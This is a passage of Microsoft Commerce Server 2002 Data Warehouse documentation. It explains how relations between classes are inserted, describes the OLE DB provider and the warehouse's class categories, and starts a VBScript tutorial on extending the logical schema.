Physically, because the row backing the parent key (DogOwnerName) is not present, a new row is inserted into the DogOwner table.

The steps the provider performs for this insert to happen are roughly the following. All this is done automatically by the provider, and is transparent to the user.

  1. Search the parent table (DogOwner) by the given key (Bob). (That is, SELECT FROM DogOwner WHERE DogOwnerName='Bob'.)
  2. Because the parent record does not exist, insert the parent record, with the given key. (That is, INSERT INTO DogOwner (DogOwnerID, DogOwnerName) VALUES (1000, 'Bob'). )
  3. Insert the child record, with the other given values. (That is, INSERT INTO Dog (DogID, DogName, DogBreed, DogOwnerID) VALUES (1000, 'Spot', 'Cocker Spaniel', 1000.)

    Table Dog

    DogID | DogName | DogBreed | DogOwnerID
    1000 | Spot | Cocker Spaniel | 1000

    Table DogOwner

    DogOwnerID | DogOwnerName | DogOwnerAddress
    1000 | Bob | NULL

Relation Example 2A

Logical View

First, insert into the parent of a 1:M relation on a blank database.

Insert DogOwner (DogOwnerName="Bob", DogOwnerAddress="Redmond")

Logically, when you instantiate the DogOwner class (parent), you populate the data members DogOwnerName and DogOwnerAddress.

Physical View

Physically, a new unique ID (DogOwnerID) is assigned and the data members get populated. (That is, INSERT INTO DogOwner (DogOwnerID, DogOwnerName, DogOwnerAddress) VALUES (1000, 'Bob', 'Redmond'). ).

Filling in the parent class does not affect the child class.

Table Dog

DogID | DogName | DogBreed | DogOwnerID

Table DogOwner

DogOwnerID | DogOwnerName | DogOwnerAddress
1000 | Bob | Redmond

Relation Example 2B

Logical View

Second, insert into the child of the 1:M relation.

Insert Dog (DogName="Spot", DogBreed="CockerSpaniel",
 DogOwnerName="Bob")

Physical View

Physically, because the row backing the parent key (DogOwnerName) is present, a new row is not inserted into the DogOwner table.

The steps the provider performs are roughly the following:

  1. Search the parent table (DogOwner) by the given key (Bob). (That is, SELECT FROM DogOwner WHERE DogOwnerName='Bob'.)
  2. Because the parent record exists, take the DogOwnerID and place it into the child table.
  3. Insert the child record, with the other given values. (That is, INSERT INTO Dog (DogID, DogName, DogBreed, DogOwnerID) VALUES (1000, 'Spot', 'Cocker Spaniel', 1000.)

    Table Dog

    DogID | DogName | DogBreed | DogOwnerID
    1000 | Spot | CockerSpaniel | 1000

    Table DogOwner

    DogOwnerID | DogOwnerName | DogOwnerAddress
    1000 | Bob | Redmond


Many-to-Many Relation

Logically, if you define a many-to-many (M:M) relation between the DogOwner (parent) class and the Dog (child) class, then a dog can belong to multiple owners, and an owner can have multiple dogs.

Physically, there will be a table in your database that represents the DogOwner and Dog tables, and a separate link table that contains the foreign keys to each table.

When you insert data, you have two options:

  1. Relation Example 3. Insert only into the child.
  2. Relation Example 4A. First, insert into the parent.

    Relation Example 4B. Second, insert into the child.

Relation Example 3

Insert into the child of a M:M relation on a blank database.

Insert Dog (DogName="Spot", DogBreed="Cocker Spaniel",
 DogOwnerName="Bob", "Jane")

Logically, when inserting into a class participating in an M:M relation, the child class should be instantiated. In the child class, there is a column that represents the key of the parent (DogOwnerName)—the same as in the 1:M case. The parent keys can be populated from the child as if they are a multi-valued data member, but it is actually the multiple keys in the parent that are being populated. The reference member that the provider creates in the child to relate to the parent will be a multi-valued member, to simulate the many-to-many relationship. The value should be inserted into the parent key using Array("value").

As with the 1:M relation, the non-key data members of the parent (DogOwnerAddress) are not visible when instantiating and populating the child class.

Table Dog (child)

DogID | DogName | DogBreed
1000 | Spot | Cocker Spaniel

Table LinkDogDogOwner

DogID | DogOwnerID
1000 | 1000
1000 | 1001

Table DogOwner (parent)

DogOwnerID | DogOwnerName | DogOwnerAddress
1000 | Bob | NULL
1001 | Jane | NULL

Relation Example 4A

First, insert into the parent of a M:M relation on a blank database.

Insert DogOwner (DogOwnerName="Bob", DogOwnerAddress="Redmond")
Insert DogOwner (DogOwnerName="Jane", DogOwnerAddress="Bellevue")

Table Dog (child)

DogID | DogName | DogBreed

Table LinkDogDogOwner

DogID | DogOwnerID

Table DogOwner (parent)

DogOwnerID | DogOwnerName | DogOwnerAddress
1000 | Bob | NULL
1001 | Jane | NULL

Relation Example 4B

Second, insert into the child of the M:M relation on a blank database.

Insert Dog (DogName="Spot", DogBreed="Cocker Spaniel",
 DogOwnerName="Bob", "Jane")

Table Dog (Child)

DogID | DogName | DogBreed
1000 | Spot | Cocker Spaniel

Table LinkDogDogOwner

DogID | DogOwnerID
1000 | 1000
1000 | 1001

Table DogOwner (Parent)

DogOwnerID | DogOwnerName | DogOwnerAddress
1000 | Bob | NULL
1001 | Jane | NULL


One-to-Many with Inheritance Relation

A one-to-many with inheritance relation is similar to the 1:M relation; however, it allows the child to see and populate all the data members of the parent.

Relation Example 5

Insert into the child of 1:M with inheritance relation on a blank database.

Insert Dog (DogName="Spot", DogBreed="Cocker Spaniel",
 DogOwnerName="Bob", DogOwnerAddress="Redmond")

Table Dog

DogID | DogName | DogBreed | DogOwnerID
1000 | Spot | Cocker Spaniel | 1000

Table DogOwner

DogOwnerID | DogOwnerName | DogOwnerAddress
1000 | Bob | Redmond


About the OLE DB Provider for Commerce Server

The OLE DB Provider for Commerce Server is a versatile tool that serves as the Commerce Server Data Warehouse Manager as well as an SQL data storage engine. As the Data Warehouse Manager, the OLE DB Provider for Commerce Server manages the logical schema, including the classes, data members, class relations, and the surrogate keys as well as the persistent physical storage of the Data Warehouse entities. And, as a typical SQL storage engine, the OLE DB Provider for Commerce Server optimizes the data updates and retrievals from the physical database.

The OLE DB Provider for Commerce Server is a COM component that accepts calls to a subset of the OLE DB API and processes each request against the data source. The OLE DB Provider for Commerce Server provides two distinct paths of functionality. The Fastload property passed in the connection string determines which of these functionalities is used. When the Fastload property is set to True, user class data can only be written to the OLE DB Provider for Commerce Server, and not read. When the Fastload property is set to False, data manipulation statements such as Select, Insert, Update, and Delete are supported.

Of the two programming models that OLE DB supports, the Commerce Server OLE DB provider only supports the binding programming model. Using the binding programming model, an application creates a binder object that can directly bind to any of the objects supported by OLE DB, namely the Data Source, Session, Command, Rowset, Stream, and Row objects. The Commerce Server OLE DB provider does not support the Rowset programming model, which creates objects in a hierarchy by using the CoCreateInstance method.

This section contains:

  • Features of the OLE DB Provider for Commerce Server
  • Limiting Factors of the OLE DB Provider for Commerce Server

See Also

OLE DB Provider for Commerce Server


Features of the OLE DB Provider for Commerce Server

The OLE DB Provider for Commerce Server not only provides the basic functionality of storing the data intelligently, but also allows the developer to add additional schema elements such as classes and relations to facilitate the following:

  • Management of the metadata catalog for the Data Warehouse.
  • Persistence of the logical entities as SQL objects in the physical store.

See Also

OLE DB Provider for Commerce Server


Limiting Factors of the OLE DB Provider for Commerce Server

The following are the current key limitations of the OLE DB Provider for Commerce Server:

  • The schema objects (for example, class and data member) can be created but they cannot be deleted.
  • The schema objects (for example, class and data member) can be created but they cannot be modified. For example, renaming a schema object or changing its data type is not supported.
  • Instance selection is not supported for fastload mode. For example, syntax such as Select * from Content cannot be used to browse the data. The only way to browse the data is by using the physically persisted tables in the SQL Server database. Single instance mode does allow Select *.
  • Referential integrity is maintained by the OLE DB Provider for Commerce Server.
  • Multi-valued data members and many-to-many relationships extend the schema automatically by adding relevant tables. The addition of the new tables has no effect, but the maintenance of the associated link tables can significantly degrade performance.

It is expected that there will be an effort to eliminate these limitations to make the OLE DB Provider for Commerce Server more robust and versatile in future releases of Commerce Server.

See Also

OLE DB Provider for Commerce Server


Dividing the Data Warehouse into Primary Business Categories

This topic describes the division of the logical schema into primary business categories. Each category contains a group of related classes used for a common business purpose. Out of the box, these business purposes correspond with each Commerce Server 2002 feature, such as Marketing, Profiling, Catalog, Predictor, and so on. Some classes serve in more than one category.

In each of the subtopics, the diagrams depicting the business categories show how the classes relate to one another through parent-child associations, or relations. Arrows connecting the classes denote these class relations. The arrows point from the parent classes to the child classes. A solid black arrow denotes a one-to-many relation. A solid black arrow with arrows on both ends denotes a many-to-many relation. For more information about relations, see Describing Data Warehouse Logical Relations.

This section contains:

  • Campaign Classes in the Data Warehouse. Describes the classes involved in marketing operations.
  • Catalog Classes in the Data Warehouse. Describes the catalog classes.
  • Transaction Classes in the Data Warehouse. Describes the basket and purchase order classes involved in making an online transaction.
  • Profile Management Classes in the Data Warehouse. Describes the classes used for managing user profiles.
  • Web Log Import Classes in the Data Warehouse. Describes the classes involved in recording Web events.
  • Web Topology Classes in the Data Warehouse. Describes the classes that define Web structure and access.


Campaign Classes in the Data Warehouse

Campaign classes are used to collect and describe marketing data. Marketing data includes custom advertisements, scheduled advertising content, and advertising campaigns. The individual classes are described after the logical diagram. For more information about these classes, see Data Warehouse Classes.

The following diagram shows the major classes used for campaign management and their relationships.

Campaign Classes

This diagram shows the campaign classes and their relations to each other.

AdItem Class

This class represents scheduled advertising content for a Web page. The class contains data members describing when the advertisement runs and codes linking the advertisement to the products it represents. The IndustryCode class provides a classification of the type of advertisement contained in the AdItem object.

See Also

IndustryCode Class

Campaign Class

This class defines the business process involved in running a marketing campaign for an advertiser. The Campaign class associates a customer (advertiser) with a set of CampaignItem objects (advertisements, discounts, direct mailings, or related sell items). A Campaign object is associated with an EventType object, which describes the marketing event.

A Customer object can have multiple Campaign objects associated with it; this represents multiple advertising campaigns for the customer over time. A Campaign can contain multiple sets of content items (CampaignItem objects). Each set of content items, in turn, can have multiple items (for example, AdItem objects), and can target multiple user groups. Finally, a Web page can contain multiple content items, and a content item can be included in multiple distinct pages. All of these possibilities are represented through the one-to-many relations between classes.

See Also

CampaignItem Class

EventType Class

CampaignItem Class

This class represents the content included in a marketing campaign (a Campaign object) and/or a scheduled advertisement (a Creative object). The content is represented by one or more of the following objects: AdItem, DmItem, or OrderDiscount.

A CampaignItem object can belong to a specific type of campaign item, specified by a link to a CampaignItemTypes object.

The content items can target specific groups of users; if this occurs, the CampaignItem object links to one or more TargetGroupXRef objects. The TargetGroupXRef class cross-references custom content items with targeted user groups.

Finally, the content items can be part of a Web page presenting multiple groups of custom content. A PageGroupXRef object cross-references the CampaignItem object with the page or pages containing the items.

A CampaignItem object can have multiple content items (for example, AdItem objects), and can target multiple user groups. A Web page can contain multiple content items, and a content item can be included in multiple distinct pages. All of these possibilities are represented through the one-to-many relationships between classes.

See Also

AdItem Class

Campaign Class

CampaignItemTypes Class

Creative Class

DmItem Class

OrderDiscount Class

TargetGroupXRef Class

CampaignItemTypes Class

This class represents categories for custom Web page content.

Creative Class

This class defines the business process involved in scheduling Web content for a customer (for example, an advertiser). The type of content is recorded by a link to a CreativeType object. One or more CampaignItem objects describe the scheduled content—this content includes advertisements, discounts, related sell items, or direct mailings. A CreativeSize object defines the area of the Web page used to contain the content.

A Customer object can have multiple Creative objects associated with it; this represents multiple advertisements for the customer over time. A Creative advertisement can contain multiple sets of content items (CampaignItem objects). Each set of content items, in turn, can have multiple items (for example, AdItem objects), and can target multiple user groups. Finally, a Web page can contain multiple content items, and a content item can be included in multiple, distinct pages. All of these possibilities are represented through the one-to-many relationships between classes.

See Also

CampaignItem Class

CreativeSize Class

CreativeType Class

Customer Class

CreativeSize Class

This class represents the size of custom content on a Web page.

CreativeType Class

This class categorizes custom content for Web pages.

CreativeTypeXRef Class

This class categorizes custom content for Web pages.

Customer Class

This class defines a customer who uses advertising through a Commerce Server 2002 Web site. A Customer object associates with an IndustryCode object, which defines the category of industry to which the customer belongs. A link to one or more Campaign objects records the marketing campaigns for the customer. A link to one or more Creative objects records any custom advertisements for the customer.

See Also

Campaign Class

Creative Class

IndustryCode Class

DmItem Class

This class represents scheduled direct mailing items. The class contains data members detailing the direct mail content, including address and format information.

IndustryCode Class

This class categorizes the type of industry a customer or advertising item represents.

OrderDiscount Class

This class represents discounted sale items. The class contains data members describing the items and conditions of the sale.

PageGroup Class

This class represents a group of custom content items used on a Web page for a marketing campaign. The page is part of one or more marketing campaign events; a link from the PageGroup object to one or more CampaignEvent objects represents this information. CampaignItem objects represent the custom content items, and link to the PageGroup object through one or more PageGroupXRef objects.

See Also

CampaignEvent Class

CampaignItem Class

PageGroup Class

PageGroupXRef Class

PageGroupXRef Class

This class cross-references custom Web page content with the Web page or logical set of Web pages that contain the content. A PageGroupXRef object associates a CampaignItem object, which describes the custom content, with a PageGroup object. The PageGroup object represents a Web page or logical set of Web pages that contains custom content.

A single piece of custom content can span multiple Web pages. This is represented by a CampaignItem object linked to multiple PageGroupXRef objects. A single Web page or logical set of Web pages can have multiple separate content items; this is represented by a PageGroup object linked to multiple PageGroupXRef objects.

See Also

CampaignItem Class

PageGroup Class

Target Class

This class defines a target for marketing and custom Web content, such as a particular type of user. A TargetGroup object links to one or more Target objects to form target groups. The custom content for the group of targets links to the TargetGroup object through a TargetGroupXRef object.

See Also

TargetGroup Class

TargetGroupXRef Class

TargetGroup Class

This class defines a group of targets for marketing and custom Web content. One or more Target objects linked with a TargetGroup object forms a target group. A target group links to the content for the group through a TargetGroupXRef object.

See Also

Target Class

TargetGroupXRef Class

TargetGroupXRef Class

This class cross-references a target group with the custom content for the target group. Target objects form target groups by linking with a TargetGroup object. The custom content, represented by a CampaignItem object, links to the TargetGroup object through the TargetGroupXRef object.

See Also

CampaignItem Class

Target Class

TargetGroup Class

Copyright © 1996–2002 Microsoft Corporation.
All rights reserved.


Catalog Classes in the Data Warehouse

This topic describes the classes used to represent catalogs and products. For more information about the individual classes, see Data Warehouse Classes.

The following diagram shows the major classes used for catalog management and their relationships.

Campaign Classes

This diagram shows the catalog classes and their relations to each other.

CatalogGlobal Class

This class represents a global catalog that stores other catalogs.

Category Class

This class represents a category of a sales catalog.

CatHierarchy Class

This class represents a level of a hierarchical sales catalog.

Date Class

This class represents dates and times.

Products Class

This class represents the products contained in a sales catalog.


Transaction Classes in the Data Warehouse

This topic describes the classes used to represent an online transaction. The transaction might be through a shopping basket or through a purchase order. The individual classes are described after the logical diagram. For more information about these classes, see Data Warehouse Classes.

The following diagram shows the major classes used for online sales and their relationships.

Transaction Classes

This diagram shows the transaction classes and their relations to each other.

CurrencyCode Class

This class defines the currency in which the order was processed.

OrderFormHeader Class

This class represents the header information for an order form. An OrderFormHeader object contains contact information, buyer information, and other data necessary to process an order form. An OrderFormHeader object links to zero or more OrderFormLineItems objects, representing the ordered items. An OrderGroup object, representing a purchase order, links to zero or more OrderFormHeader objects.

See Also

OrderFormLineItems Class

OrderGroup Class

OrderFormLineItems Class

This class represents the items in an order form. An OrderFormHeader object, representing the information used to process the order form, links to zero or more OrderFormLineItems objects.

See Also

OrderFormHeader Class

OrderGroup Class

An OrderGroup object describes purchase order information. Specifically, the OrderGroup object links to one or more OrderFormHeader objects, and one or more OrderGroupAddresses objects. The OrderFormHeader class represents control information for the purchase order such as billing codes, tax codes, and other data required to process the purchase order. The OrderFormHeader object links to one or more OrderFormLineItems objects, which describe the specific products to be purchased. The OrderGroupAddresses object represents mailing and shipping information for purchase orders.

See Also

OrderFormHeader Class

OrderFormLineItems Class

OrderGroupAddresses Class

OrderGroupAddresses Class

This class represents mailing and shipping information for purchase orders.


Profile Management Classes in the Data Warehouse

This section describes the classes used to represent users of Commerce Server 2002 sites. Some of the business processes that use profiles are the tracking of visits and basket events. For more information about the individual classes, see Data Warehouse Classes.

The following figure shows the major classes used for log import and their relationships.

Profile Management Classes

Address Class

This class stores user and organization addresses. By default, the Profile Data Import DTS task imports profile data into this class.

RegisteredUser Class

This class represents an anonymous or registered user of a Commerce Server 2002 Web site. By default, the Profile Data Import DTS task imports UserObject profile data into this class.

SiteTerm Class

This class contains the site terms used by reports for a Commerce site. The site terms are populated in the Data Warehouse by the Profile Data Import DTS task.

SiteTermDescription Class

This class contains the site term descriptions used by reports for a Commerce site. The site term descriptions are populated in the Data Warehouse by the Profile Data Import DTS task.


Web Log Import Classes in the Data Warehouse

This section describes the classes used to store Web log import data. This data includes visits to a Web site, order form requisitions, and shopping basket transactions. The individual classes are described after the following figure. For more information about these classes, see Data Warehouse Classes.

The following figure shows the major classes used for log import and their relationships.

Web Log Import Classes

This diagram shows the campaign classes and their relations to each other.

This diagram shows the campaign classes and their relations to each other.

Basket Class

This class represents the business transaction involved in adding or removing a product from a shopping basket.

CampaignEvent Class

This class stores event information for marketing campaigns. An event for a marketing campaign includes hits on CampaignItem objects and business transactions involving CampaignItem objects.

See Also

CampaignItem Class

HostnameRef Class

This class represents the host name reference for an IP address.

HttpStatus Class

This class represents the HTTP status codes as stored in the Web log file.

ImportOptions Class

The class represents import options.

IPRef Class

This class represents an IP reference for a LogUser object. An IPRef object contains information about the IP address, number of look-ups associated with the address, and the status of the reference.

An IPRef object associates with a HostNameRef object, describing the host associated with the IP address.

See Also

HostNameRef Class

IPRef Class

LogUser Class

LevelNDir Class

This class represents the six classes used to symbolize the six levels in a hierarchical directory structure. Each level contains a directory name and a link to a URI object.

See Also

URI Class

LinkMVQStringName Class

This class links a SiteURL object to an MVQStringName object. The MVQStringName object represents a custom query string that queries multi-valued columns in the data store.

LinkSVQStringName Class

This class links a SiteURL object to an SVQStringName object. The SVQStringName object represents a custom query string that queries single-valued columns in the data store.

LogImportJobSummary Class

This class is an internal class that tracks log import information such as start time and end time.

LogImportSubtask Class

This class is used by the Web Log Import DTS task to store information used by the Restart feature.

LogUser Class

This class stores information about user interactions with a Commerce Server 2002 Web site. It is the primary link between the RegisteredUser class and the actions taken during a visit to the Web site.

Someone who visits a Commerce Server 2002 Web site is called a user. A LogUser object is created for every user, and is used to record information about that user (such as cookie data, user name, and so on). A Visit object is created every time the user visits the Web site. The new Visit object is linked to the LogUser object for that user. A LogUser object can represent an anonymous user, a user who is part of an organization, or a user who is registered on the Commerce Server 2002 Web site.

The IP information for the user is stored in an IPRef object associated with the LogUser object. A HostNameRef object stores host name information for the IPRef object.

See Also

HostNameRef Class

IPRef Class

RegisteredUser Class

Visit Class

MVQStringName Class

This class represents the names for custom multi-valued query strings. The MVQStringName object associates with a SiteURL object through a LinkMVQStringName object.

OpenUserVisit Class

This class represents a visit to a Web site that was open when the containing log files were imported. This allows the open visit to be connected and closed in the following log imports. After a visit is completed (closed), the OpenUserVisit object is deleted and a VisitInfo object is instantiated.

See Also

VisitInfo Class

Order Class

This class stores requests to save or submit purchase orders.

Referrer Class

This class represents the referring URL for a request.

ReferrerDomain Class

This class represents the referring domain for a request.

Request Class

This class stores information about requests. A request is made in the context of a visit. A Request object connects to information describing the user and other details of the visit.

A request can be a part of a URI, in which case a URI object is linked to the Request object. The query string contained in the URI is represented by a URIQuery object linked to the Request object.

Alternatively, a Request can be made through a site URL. The site URL is represented by a SiteURL object linked to the Request object through a URI object. The SiteURL object can represent an actual Web site or a virtual server. If the Request object involves query strings through the site, the SiteURL object will have one or more LinkSVQStringName or LinkMVQStringName objects linking the SiteURL object to the query strings.

See Also

SiteURL Class

URI Class

URIQuery Class

SVQStringName Class

This class represents custom single-valued query strings associated with a Uniform Resource Locator (URL). An SVQStringName object associates with a SiteURL object through a LinkSVQStringName object.

TaskHistory Class

This class tracks DTS task execution and the outcome of the execution. It maintains a history of all instances of imports (and deletes) that have occurred within the Data Warehouse.

URI Class

This class represents Uniform Resource Identifiers (URI) used to distinguish a URL, as well as to make queries and transactions on Commerce Server 2002 Web sites. A URI object associates with the Commerce Server 2002 Web site through a SiteURL object.

A site is identified by a SiteURL object that stores the first portion, or top level, (for example, domain name) of a site and a linked URI object that stores the remainder of the URL for the site. If the URI object represents a hierarchical directory structure, it will be linked to the appropriate LevelNDir objects.

A business transaction can occur through a URI query—this is represented by a link between one or more Request objects and the URI object.

A URI object only represents a page, not graphics, banners, and so forth.

See Also

LevelNDir Class

Request Class

SiteURL Class

URIQuery Class

This class represents a URI query associated with one or more transaction requests.

UserAgent Class

This class represents the software infrastructure, such as the operating system and browser, used by a user in a visit to a Web site.

Visit Class

This class stores information describing user activity on a Commerce Server 2002 Web site. A Visit object is associated with a LogUser object and a Site object. The LogUser object contains information about the user. A Visit object describes the context of a visit, including the time and date of the visit.

See Also

LogUser Class

Site Class

VisitInfo Class

This class represents information about a completed visit to a Web site. If a visit has not been completed at log import time, an OpenUserVisit object is instantiated instead.

The VisitInfo class is the primary structure for recording user activity on a Commerce Server 2002 Web site. Someone who interacts with a Commerce Server 2002 Web site is called a user. The VisitInfo class records information describing user activity.

A VisitInfo object is associated with a LogUser object and a UserAgent object. The LogUser object contains information about the user. The UserAgent object contains information describing the software and computer the user is using.

A VisitInfo object describes the context of a visit, including the time and date of the visit. The VisitInfo object links to a Date structure that contains date information.

See Also

LogUser Class

OpenUserVisit Class

UserAgent Class

Win32Status Class

This class represents the Win32 status codes as stored in the Web log file.


Web Topology Classes in the Data Warehouse

This topic describes the classes used to represent Web configuration data, such as Web sites, virtual servers, and URLs/URIs. Web configuration data is associated with events such as visits and requests for business transactions. The individual classes are described after the following figure. For more information about these classes, see Data Warehouse Classes.

The following figure shows the major classes used for Web topology and their relationships.

Web Topology Classes

Depicts the web topology classes and their relations.

CommerceEvent Class

This class represents the mappings between commerce events and the logical classes that store the event data. Commerce events are specially structured query strings written by Commerce Server components.

Crawler Class

This class represents a Web crawler associated with a site.

EventType Class

This class represents a categorization of marketing events. An EventType object describes a marketing event, and associates with one or more Campaign objects representing the marketing campaigns in the event.

See Also

Campaign Class

ServerBinding Class

This class represents a binding to a server for a virtual server.

ServerGroup Class

This class represents server groups.

Site Class

This class represents a Commerce Server 2002 Web site. All logged information pertaining to the use of a Commerce Server 2002 Web site is stored in or connected to a Site object. The URL for the site is a composition of a SiteURL object and a URI object.

The site can be part of a virtual server group. If this occurs, the site connects to a VirtualServer object through a SiteURL object. A business transaction can occur through a URI query; this is represented by a link between one or more Request objects and the URI object. Any visits to the site are linked through one or more Visit objects. If the site has a crawler associated with it, a Crawler object is created and linked to the Site object.

See Also

Crawler Class

Request Class

SiteURL Class

URI Class

VirtualServer Class

SiteSummary Class

This class stores summary information pertaining to a site, such as total visits and total hits.

SiteURL Class

This class represents a URL-based connection between sites and virtual servers. The relationship between a Web site and a virtual server is represented by a link to a Site object and a link to a VirtualServer object.

The SiteURL object stores the first portion, or top level, (for example, domain name) of a site. If needed, a URI object is linked to the SiteURL object to form the entire URL for the site.

If there are any query strings (SVQStringName or MVQStringName objects) associated with the site URL, they will be linked to the SiteURL object through the LinkSVQStringName or LinkMVQStringName objects.

See Also

Site Class

VirtualServer Class

This class represents a virtual server, which logically binds independent Web sites to one or more servers.

The Web sites associated with the virtual server are represented through a set of SiteURL objects. The binding to a server occurs through association with one or more ServerBinding objects.

The VirtualServer object can be a part of a larger group of servers. If this occurs, the VirtualServer objects will be linked through a ServerGroup object.

If business transactions are made through a URI to the virtual server, a Request object is linked through the appropriate SiteURL and URI objects.

See Also

Request Class

ServerBinding Class

ServerGroup Class

SiteURL Class

URI Class


Extending the Data Warehouse Logical Schema

This topic discusses extending the Commerce Server 2002 Data Warehouse logical schema. The architecture of the logical schema is governed by the Data Warehouse meta-model. Extending the logical schema requires detailed knowledge of the meta-model. For more information, see Data Warehouse Meta-model.

Note

  • The code provided in the following example is for demonstration purposes only. The OrderFormHeader class created in the example already exists in the Data Warehouse schema. The code provided in the following example requires schema change and commit schema commands to stand alone.
  • The CreateSchemaObject.vbs file included in the Commerce Server 2002 Software Development Kit should be used to automate the process of extending the schema. For more information about the script, see Create Schema Object Script.

Caution

  • Wherever possible, use existing Data Warehouse structures to store data. Deletion from the logical schema is not supported under this version of Commerce Server 2002.
  • The SQL script csdwschema.sql, found in the root installation directory of Commerce Server, creates the logical schema. This script must be run on an empty database. If the schema needs to be reinstalled, delete the previous database, create a new database, and re-run the script.

The distinct steps involved in extending the Data Warehouse are:

  1. Connect to the Data Warehouse and turn on the schema change mode. Turning the schema change mode on denotes a schema change session. Changes to the schema are only allowed when in schema change mode, and the changes can only modify existing components of the schema; inserting data is not permitted. While in this mode, provider commands and URLs are accessible to alter the schema. The code to complete this step is located in Creating a New Class. For details about this step, see Schema Change.
  2. Create the classes. For details about this step, see Creating a New Class.
  3. Populate the classes with the appropriate data members. For details about this step, see Creating a New Class Data Member.
  4. If needed, explicitly create a key for the class. A class key can be implicitly created for a single member key. For details about this step, see Creating a New Class Key.
  5. If needed, explicitly create key members for the class. For details about this step, see Creating a New Class Key Member.
  6. If needed, create relations between the classes. If the new structure is to be linked to the existing logical schema, relations have to be created between the new classes and existing Data Warehouse classes. For details about this step, see Creating a New Class Relation.
  7. If needed, create data relation members between the classes. For details about this step, see Creating a New Class Relation Member.
  8. The CommitSchema command persists the session changes to the actual schema tables, provided that all changes pass validation. This should be performed when all the individual schema change operations have been performed. This commits all pending schema changes to the persistent storage within SQL Server in a single transaction. For details about this step, see Commit.

A running example is provided to demonstrate these steps by using an existing Data Warehouse class. An existing class is used to provide insight into how the structure fits into the logical schema. The class to be created is the existing OrderFormHeader class. A purchase order is made up of the OrderFormHeader class, representing the information required by an organization to process the order, and the OrderFormLineItems class detailing the purchases. For simplicity, this example will ignore the detailed line items and concentrate on creating the OrderFormHeader class and linking the OrderFormHeader class to an existing OrderGroup class.

The example does not show error checking or certain other formalities required for functional code.

Following this example, the process of filtering and creating summarization tables is discussed.

This section contains:

  • Creating a New Class
  • Creating a New Class Data Member
  • Creating a New Class Key
  • Creating a New Class Key Member
  • Creating a New Class Relation
  • Creating a New Class Relation Member
  • Applying Filtering to a Class
  • Creating Summarization Classes

See Also

Create Schema Object Script


Creating a New Class

This topic describes how to create a new class in the Data Warehouse. A class is created by creating a new instance of a Class Definition (clsdef), populating the attributes, and saving the changes. For information about the Class Definition table, see Class Definition Meta-data.

To begin the example, create the "new" OrderFormHeader class, which represents header information required for the processing of order forms. For details about the existing class, see OrderFormHeader.

By default, a binary (6 byte) unique ID is automatically generated for the class. This ID is used as a surrogate key for relations, so all classes in the Data Warehouse must have this ID.

Because the OrderFormHeader class has a multi-membered key, the GenerateKeyDef attribute is set to False (0). This attribute can be set to True for classes with a single key member (along with setting the IsPrimaryKey attribute to True on the member definition corresponding to the key) to have the OLE DB Provider for Commerce Server automatically generate the key. For more information about creating a class key, see Creating a New Class Key.

The following table lists the attributes and values in the Class Definition table for the OrderFormHeader class. Unspecified optional attributes are not shown. In the R/O column, R = required, O = optional.

Attribute name | Attribute value | Type | R/O | Purpose
ClassDefName | "OrderFormHeader" | String | R | Uniquely identifies the class in the Data Warehouse logical schema.
SourceDefName | "test_Source" | String | R | A source def is a schema object that describes a data source. Always set SourceDefName to test_Source for new classes.
Description | "Header data for a order form." | String | O | Describes the logical class.
GenerateTableDef | 1 | Integer | R | Generates the table definition automatically when set to True (1).
GeneratePartitionDef | 1 | Integer | R | Generates the partition definition automatically when set to True (1).
GenerateKeyDef | 0 | Integer | O | Do not generate the key automatically. The key will be specified manually by using the "Key" meta-data component.
IsActive | 1 | Integer | O | The class is active (instances can be added).
IsPersistent | 1 | Integer | O | Persist instance data.
GenerateIdentity | 1 | Integer | R | Generates the ID for the class automatically when set to True (1).

Running Example - Steps 1 and 2

Connect to the Data Warehouse and create the OrderFormHeader class.

Notes

  • The code provided in this example is for demonstration purposes only. The OrderFormHeader class created in this example already exists in the Data Warehouse schema. The CreateSchemaObject.vbs file included in the Commerce Server 2002 Software Development Kit should be used to automate the process of extending the schema. For more information about the script, see Create Schema Object Script.
  • The SQL Server operations involved in extending the logical schema require the user to be in the appropriate SQL role. For more information about user roles, see the SQL Server Help.
  • This example will not create a class definition unless at least one member is added. For more information about adding a data member, see Creating a New Class Data Member.
'Create an ADO connection object.
   Dim cnnConnection
   Set cnnConnection = CreateObject("ADODB.Connection")

'Create an ADO command object.
   Dim cmdCommand
   Set cmdCommand = CreateObject("ADODB.Command")

'Create an ADO record object.
   Dim recNew
   Set recNew = CreateObject("ADODB.Record")

'Open a connection (bind) to the provider.
'Modify the values for Catalog, Database, User, and Password to match your
'resources.
   cnnConnection.Open "URL=mscop://InProcConnect/Server=MyServer:" & _
    "Catalog=DWSchema:Database=Retail_dw:  Trusted_Connection=Yes:" & _
    "FastLoad=True"

'Set the connection in the command object.
   Set cmdCommand.ActiveConnection = cnnConnection

'Turn on "Schema Change" mode.
'SchemaMode can be set to On, True, or 1 to turn the
' schema change mode on.
   cmdCommand.CommandText = "SchemaMode=1"
   cmdCommand.Execute

'Create a new class in the Class Definition table.
   recNew.Open "Class/OrderFormHeader", cnnConnection, _
    adModeWrite, adCreateOverwrite

'Set the attributes.
   recNew("ClassDefName") = "OrderFormHeader"
'Always set SourceDefName to test_Source for new classes.
   recNew("SourceDefName") = "test_Source"
   recNew("Description") = "Header data for a order form."
   recNew("GenerateTableDef") = 1
   recNew("GeneratePartitionDef") = 1

'Create your own key.
   recNew("GenerateKeyDef") = 0

   recNew("GenerateIdentity") = 1

'Save the new row.
   recNew("__Commit") = 1
   recNew.Fields.Update
   recNew.Close

You can now create the data members for this class.

See Also

Creating a New Class Data Member

Create Schema Object Script


Creating a New Class Data Member

This section describes how to create a new data member for a class in the Data Warehouse. The class must exist prior to creating the data member.

Note

  • For information about creating classes, see Creating a New Class.

Caution

  • When adding a member to a class that is stored in a Data Warehouse with multiple Web sites, name each new member uniquely or ensure that the data type for the new members is the same. If a member exists in the same class in multiple Web sites and the members do not have the same data type, a failure might occur or data might be incorrectly converted when the Transaction Import DTS task is run.

A class data member is created by creating a new instance of a Member Definition (memdef), populating the attributes, and saving the changes. For information about the Member Definition table, see Member Definition Meta-data.

The running example (which originates in Creating a New Class) continues by creating the OrderForm_Id and ordergroup_id data members of the OrderFormHeader class. For details about the existing class, see OrderFormHeader. Additional class members are created in the same way.

The following table lists the attributes and values in the Member Definition table for the OrderForm_Id data member. Unspecified optional attributes are not shown. In the R/O column, R = required, O = optional.

Attribute name | Attribute value | Type | R/O | Purpose
MemberDefName | "OrderForm_Id" | String | R | Uniquely identifies the data member for the class.
ClassDefName | "OrderFormHeader" | String | R | Stores the name of the containing class.
TypeName | "UUID" | String | R | Identifies the data type of the data member. For a complete list of types, see OLE DB Provider for Commerce Server.
